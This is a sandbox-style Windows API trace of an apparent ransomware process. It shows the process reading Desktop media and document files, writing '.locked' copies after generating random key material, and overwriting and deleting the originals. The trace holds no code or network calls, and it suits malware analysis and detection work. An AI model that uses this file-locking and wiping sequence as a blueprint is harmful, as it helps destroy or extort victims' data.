	[0068.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BB3EjVzP-y.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bb3ejvzp-y.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eaaa910, ftCreationTime.dwHighDateTime=0x1d4cc0f, ftLastAccessTime.dwLowDateTime=0x9be776c0, ftLastAccessTime.dwHighDateTime=0x1d4cc98, ftLastWriteTime.dwLowDateTime=0x9be776c0, ftLastWriteTime.dwHighDateTime=0x1d4cc98, nFileSizeHigh=0x0, nFileSizeLow=0x1101b)) returned 1
	[0068.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BB3EjVzP-y.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bb3ejvzp-y.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.072] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BB3EjVzP-y.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bb3ejvzp-y.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0068.073] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.074] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0068.074] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0068.074] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc201 | out: pbBuffer=0x123bc201) returned 1
	[0068.074] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0068.076] SetEvent (hEvent=0xb4) returned 1
	[0068.076] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x1101b, lpOverlapped=0x0) returned 1
	[0068.078] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1101b, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x1101b, lpOverlapped=0x0) returned 1
	[0068.079] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0068.079] CloseHandle (hObject=0xc4) returned 1
	[0068.084] CloseHandle (hObject=0xc0) returned 1
	[0068.084] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.084] SetEvent (hEvent=0xb4) returned 1
	[0068.084] SetEvent (hEvent=0x78) returned 1
	[0068.084] SetEvent (hEvent=0x80) returned 1
	[0068.084] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.085] SetEvent (hEvent=0xa8) returned 1
	[0068.085] SetEvent (hEvent=0x80) returned 1
	[0068.085] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x39, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x39) returned 1
	[0068.086] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BB3EjVzP-y.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bb3ejvzp-y.mp3")) returned 1
	[0068.105] SetEvent (hEvent=0x78) returned 1
	[0068.110] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.119] SetEvent (hEvent=0x78) returned 1
	[0068.119] SetEvent (hEvent=0x80) returned 1
	[0068.119] SetEvent (hEvent=0xb4) returned 1
	[0068.119] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.142] SetEvent (hEvent=0xa8) returned 1
	[0068.142] SetEvent (hEvent=0xb4) returned 1
	[0068.144] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0068.174] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.174] SetEvent (hEvent=0xb4) returned 1
	[0068.174] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.179] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0068.190] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.190] SetEvent (hEvent=0xb4) returned 1
	[0068.190] SetEvent (hEvent=0x80) returned 1
	[0068.190] SetEvent (hEvent=0x78) returned 1
	[0068.190] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.191] SetEvent (hEvent=0xa8) returned 1
	[0068.191] SetEvent (hEvent=0x78) returned 1
	[0068.191] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BB3EjVzP-y.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bb3ejvzp-y.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.192] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0068.194] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0068.214] CloseHandle (hObject=0xc0) returned 1
	[0068.225] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BB3EjVzP-y.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bb3ejvzp-y.mp3")) returned 1
	[0068.235] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GWmCF1_3WU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gwmcf1_3wu.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa03ef000, ftCreationTime.dwHighDateTime=0x1d4cc56, ftLastAccessTime.dwLowDateTime=0x92e97500, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0x92e97500, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x102e)) returned 1
	[0068.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GWmCF1_3WU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gwmcf1_3wu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.235] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GWmCF1_3WU.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gwmcf1_3wu.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0068.237] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.246] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0068.246] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0068.246] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0068.246] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0068.248] SetEvent (hEvent=0x80) returned 1
	[0068.249] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x102e, lpOverlapped=0x0) returned 1
	[0068.250] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x102e, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x102e, lpOverlapped=0x0) returned 1
	[0068.250] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0068.250] CloseHandle (hObject=0xc4) returned 1
	[0068.251] CloseHandle (hObject=0xc0) returned 1
	[0068.251] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0068.258] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.258] SetEvent (hEvent=0x80) returned 1
	[0068.258] SetEvent (hEvent=0x78) returned 1
	[0068.258] SetEvent (hEvent=0xb4) returned 1
	[0068.258] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.280] SetEvent (hEvent=0xa8) returned 1
	[0068.280] SetEvent (hEvent=0xb4) returned 1
	[0068.280] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x39, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x39) returned 1
	[0068.286] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GWmCF1_3WU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gwmcf1_3wu.png")) returned 1
	[0068.303] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0068.310] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.310] SetEvent (hEvent=0xa8) returned 1
	[0068.310] SetEvent (hEvent=0x78) returned 1
	[0068.315] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.329] SetEvent (hEvent=0x78) returned 1
	[0068.329] SetEvent (hEvent=0xb4) returned 1
	[0068.329] SetEvent (hEvent=0x80) returned 1
	[0068.329] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.342] SetEvent (hEvent=0xa8) returned 1
	[0068.342] SetEvent (hEvent=0x80) returned 1
	[0068.344] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.352] SetEvent (hEvent=0x80) returned 1
	[0068.363] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.372] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.383] SetEvent (hEvent=0x80) returned 1
	[0068.383] SetEvent (hEvent=0xb4) returned 1
	[0068.383] SetEvent (hEvent=0x78) returned 1
	[0068.383] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.397] SetEvent (hEvent=0xa8) returned 1
	[0068.397] SetEvent (hEvent=0x78) returned 1
	[0068.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GWmCF1_3WU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gwmcf1_3wu.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.398] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0068.402] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0068.417] CloseHandle (hObject=0xc0) returned 1
	[0068.426] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GWmCF1_3WU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gwmcf1_3wu.png")) returned 1
	[0068.435] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I8YLdLjiG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i8yldljig.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe60192e0, ftCreationTime.dwHighDateTime=0x1d4cbbc, ftLastAccessTime.dwLowDateTime=0x5b147cd0, ftLastAccessTime.dwHighDateTime=0x1d4c54d, ftLastWriteTime.dwLowDateTime=0x5b147cd0, ftLastWriteTime.dwHighDateTime=0x1d4c54d, nFileSizeHigh=0x0, nFileSizeLow=0x2e28)) returned 1
	[0068.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I8YLdLjiG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i8yldljig.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.436] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.436] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I8YLdLjiG.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i8yldljig.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0068.436] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.437] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0068.437] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0068.437] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0068.437] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0068.439] SetEvent (hEvent=0xb4) returned 1
	[0068.439] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x2e28, lpOverlapped=0x0) returned 1
	[0068.440] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x2e28, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x2e28, lpOverlapped=0x0) returned 1
	[0068.441] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0068.441] CloseHandle (hObject=0xc4) returned 1
	[0068.442] CloseHandle (hObject=0xc0) returned 1
	[0068.442] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.442] SetEvent (hEvent=0xb4) returned 1
	[0068.443] SetEvent (hEvent=0x78) returned 1
	[0068.443] SetEvent (hEvent=0x80) returned 1
	[0068.443] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.443] SetEvent (hEvent=0xa8) returned 1
	[0068.443] SetEvent (hEvent=0x80) returned 1
	[0068.443] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x38, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee8a0*=0x38) returned 1
	[0068.445] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I8YLdLjiG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i8yldljig.mkv")) returned 1
	[0068.463] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.463] SetEvent (hEvent=0xa8) returned 1
	[0068.463] SetEvent (hEvent=0x78) returned 1
	[0068.467] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.468] SetEvent (hEvent=0x78) returned 1
	[0068.468] SetEvent (hEvent=0x80) returned 1
	[0068.468] SetEvent (hEvent=0xb4) returned 1
	[0068.468] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.468] SetEvent (hEvent=0xb4) returned 1
	[0068.470] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.470] SetEvent (hEvent=0xb4) returned 1
	[0068.470] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.470] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.471] SetEvent (hEvent=0xb4) returned 1
	[0068.471] SetEvent (hEvent=0x80) returned 1
	[0068.471] SetEvent (hEvent=0x78) returned 1
	[0068.471] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.471] SetEvent (hEvent=0x78) returned 1
	[0068.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I8YLdLjiG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i8yldljig.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.472] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0068.473] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0068.488] CloseHandle (hObject=0xc0) returned 1
	[0068.496] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I8YLdLjiG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i8yldljig.mkv")) returned 1
	[0068.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I_J1p0hdvpTbfJ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i_j1p0hdvptbfj.doc"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x532f460, ftCreationTime.dwHighDateTime=0x1d4d202, ftLastAccessTime.dwLowDateTime=0xea2c5d30, ftLastAccessTime.dwHighDateTime=0x1d4d546, ftLastWriteTime.dwLowDateTime=0xea2c5d30, ftLastWriteTime.dwHighDateTime=0x1d4d546, nFileSizeHigh=0x0, nFileSizeLow=0x1bf4)) returned 1
	[0068.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I_J1p0hdvpTbfJ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i_j1p0hdvptbfj.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.506] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I_J1p0hdvpTbfJ.doc.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i_j1p0hdvptbfj.doc.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0068.507] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0068.507] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0068.507] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0068.507] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc201 | out: pbBuffer=0x123bc201) returned 1
	[0068.507] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0068.509] SetEvent (hEvent=0x80) returned 1
	[0068.510] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x1bf4, lpOverlapped=0x0) returned 1
	[0068.510] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1bf4, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x1bf4, lpOverlapped=0x0) returned 1
	[0068.511] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0068.511] CloseHandle (hObject=0xc4) returned 1
	[0068.512] CloseHandle (hObject=0xc0) returned 1
	[0068.512] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0068.512] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.513] SetEvent (hEvent=0x80) returned 1
	[0068.513] SetEvent (hEvent=0x78) returned 1
	[0068.513] SetEvent (hEvent=0xb4) returned 1
	[0068.513] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.513] SetEvent (hEvent=0xa8) returned 1
	[0068.513] SetEvent (hEvent=0xb4) returned 1
	[0068.513] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3d) returned 1
	[0068.515] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I_J1p0hdvpTbfJ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i_j1p0hdvptbfj.doc")) returned 1
	[0068.532] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.533] SetEvent (hEvent=0xa8) returned 1
	[0068.533] SetEvent (hEvent=0x78) returned 1
	[0068.537] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.538] SetEvent (hEvent=0x78) returned 1
	[0068.538] SetEvent (hEvent=0xb4) returned 1
	[0068.538] SetEvent (hEvent=0x80) returned 1
	[0068.538] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.538] SetEvent (hEvent=0x80) returned 1
	[0068.540] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.540] SetEvent (hEvent=0x80) returned 1
	[0068.540] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.540] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0068.541] SetEvent (hEvent=0x80) returned 1
	[0068.541] SetEvent (hEvent=0xb4) returned 1
	[0068.541] SetEvent (hEvent=0x78) returned 1
	[0068.541] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0068.541] SetEvent (hEvent=0x78) returned 1
	[0068.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I_J1p0hdvpTbfJ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i_j1p0hdvptbfj.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0068.542] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0068.543] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0068.560] CloseHandle (hObject=0xc0) returned 1
	[0068.569] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I_J1p0hdvpTbfJ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i_j1p0hdvptbfj.doc")) returned 1
